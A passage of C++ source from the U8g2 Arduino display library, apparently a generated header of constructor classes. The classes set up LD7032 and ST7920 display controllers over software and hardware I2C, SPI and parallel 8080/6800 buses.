U8G2_LD7032_60X32_ALT_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_alt_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_LD7032_60X32_2_SW_I2C : public U8G2 { public: U8G2_LD7032_60X32_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_LD7032_60X32_2_HW_I2C : public U8G2 { public: U8G2_LD7032_60X32_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_LD7032_60X32_2_2ND_HW_I2C : public U8G2 { public: U8G2_LD7032_60X32_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_LD7032_60X32_ALT_2_SW_I2C : public U8G2 { public: U8G2_LD7032_60X32_ALT_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_alt_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_LD7032_60X32_ALT_2_HW_I2C : public U8G2 { public: U8G2_LD7032_60X32_ALT_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_alt_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_LD7032_60X32_ALT_2_2ND_HW_I2C : public U8G2 { public: U8G2_LD7032_60X32_ALT_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_alt_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_LD7032_60X32_F_SW_I2C : public U8G2 { public: U8G2_LD7032_60X32_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_LD7032_60X32_F_HW_I2C : public U8G2 { public: U8G2_LD7032_60X32_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_LD7032_60X32_F_2ND_HW_I2C : public U8G2 { public: U8G2_LD7032_60X32_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_LD7032_60X32_ALT_F_SW_I2C : public U8G2 { public: U8G2_LD7032_60X32_ALT_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_alt_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_LD7032_60X32_ALT_F_HW_I2C : public U8G2 { public: U8G2_LD7032_60X32_ALT_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_alt_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_LD7032_60X32_ALT_F_2ND_HW_I2C : public U8G2 { public: U8G2_LD7032_60X32_ALT_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_alt_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_LD7032_128X36_1_4W_SW_SPI : public U8G2 { public: U8G2_LD7032_128X36_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_128x36_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LD7032_128X36_1_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_128X36_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_128x36_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_128X36_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_128X36_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_128x36_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_128X36_2_4W_SW_SPI : public U8G2 { public: U8G2_LD7032_128X36_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_128x36_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LD7032_128X36_2_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_128X36_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_128x36_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_128X36_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_128X36_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_128x36_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_128X36_F_4W_SW_SPI : public U8G2 { public: U8G2_LD7032_128X36_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_128x36_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LD7032_128X36_F_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_128X36_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_128x36_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_128X36_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_128X36_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_128x36_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_128X36_1_SW_I2C : public U8G2 { public: U8G2_LD7032_128X36_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_128x36_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_LD7032_128X36_1_HW_I2C : public U8G2 { public: U8G2_LD7032_128X36_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_128x36_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_LD7032_128X36_1_2ND_HW_I2C : public U8G2 { public: U8G2_LD7032_128X36_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_128x36_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_LD7032_128X36_2_SW_I2C : public U8G2 { public: U8G2_LD7032_128X36_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_128x36_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_LD7032_128X36_2_HW_I2C : public U8G2 { public: U8G2_LD7032_128X36_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_128x36_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_LD7032_128X36_2_2ND_HW_I2C : public U8G2 { public: U8G2_LD7032_128X36_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_128x36_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_LD7032_128X36_F_SW_I2C : public U8G2 { public: U8G2_LD7032_128X36_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_128x36_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_LD7032_128X36_F_HW_I2C : public U8G2 { public: U8G2_LD7032_128X36_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_128x36_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_LD7032_128X36_F_2ND_HW_I2C : public U8G2 { public: U8G2_LD7032_128X36_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_128x36_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7920_256X32_1_8080 : public U8G2 { public: U8G2_ST7920_256X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_p_256x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_256X32_2_8080 : public U8G2 { public: U8G2_ST7920_256X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_p_256x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_256X32_F_8080 : public U8G2 { public: U8G2_ST7920_256X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_p_256x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_256X32_1_6800 : public U8G2 { public: U8G2_ST7920_256X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_256x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_256X32_2_6800 : public U8G2 { public: U8G2_ST7920_256X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_256x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_256X32_F_6800 : public U8G2 { public: U8G2_ST7920_256X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_256x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_256X32_1_SW_SPI : public U8G2 { public: U8G2_ST7920_256X32_1_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_256x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7920_256X32_1_HW_SPI : public U8G2 { public: U8G2_ST7920_256X32_1_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_256x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_256X32_1_2ND_HW_SPI : public U8G2 { public: U8G2_ST7920_256X32_1_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_256x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_256X32_2_SW_SPI : public U8G2 { public: U8G2_ST7920_256X32_2_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_256x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7920_256X32_2_HW_SPI : public U8G2 { public: U8G2_ST7920_256X32_2_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_256x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_256X32_2_2ND_HW_SPI : public U8G2 { public: U8G2_ST7920_256X32_2_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_256x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_256X32_F_SW_SPI : public U8G2 { public: U8G2_ST7920_256X32_F_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_256x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7920_256X32_F_HW_SPI : public U8G2 { public: U8G2_ST7920_256X32_F_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_256x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_256X32_F_2ND_HW_SPI : public U8G2 { public: U8G2_ST7920_256X32_F_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_256x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_144X32_1_8080 : public U8G2 { public: U8G2_ST7920_144X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_p_144x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_144X32_2_8080 : public U8G2 { public: U8G2_ST7920_144X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_p_144x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_144X32_F_8080 : public U8G2 { public: U8G2_ST7920_144X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_p_144x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_144X32_1_6800 : public U8G2 { public: U8G2_ST7920_144X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_144x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_144X32_2_6800 : public U8G2 { public: U8G2_ST7920_144X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_144x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_144X32_F_6800 : public U8G2 { public: U8G2_ST7920_144X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_144x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_144X32_1_SW_SPI : public U8G2 { public: U8G2_ST7920_144X32_1_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_144x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7920_144X32_1_HW_SPI : public U8G2 { public: U8G2_ST7920_144X32_1_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_144x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_144X32_1_2ND_HW_SPI : public U8G2 { public: U8G2_ST7920_144X32_1_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_144x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_144X32_2_SW_SPI : public U8G2 { public: U8G2_ST7920_144X32_2_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_144x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7920_144X32_2_HW_SPI : public U8G2 { public: U8G2_ST7920_144X32_2_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_144x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_144X32_2_2ND_HW_SPI : public U8G2 { public: U8G2_ST7920_144X32_2_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_144x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_144X32_F_SW_SPI : public U8G2 { public: U8G2_ST7920_144X32_F_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_144x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7920_144X32_F_HW_SPI : public U8G2 { public: U8G2_ST7920_144X32_F_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_144x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_144X32_F_2ND_HW_SPI : public U8G2 { public: U8G2_ST7920_144X32_F_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_144x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_160X32_1_8080 : public U8G2 { public: U8G2_ST7920_160X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, 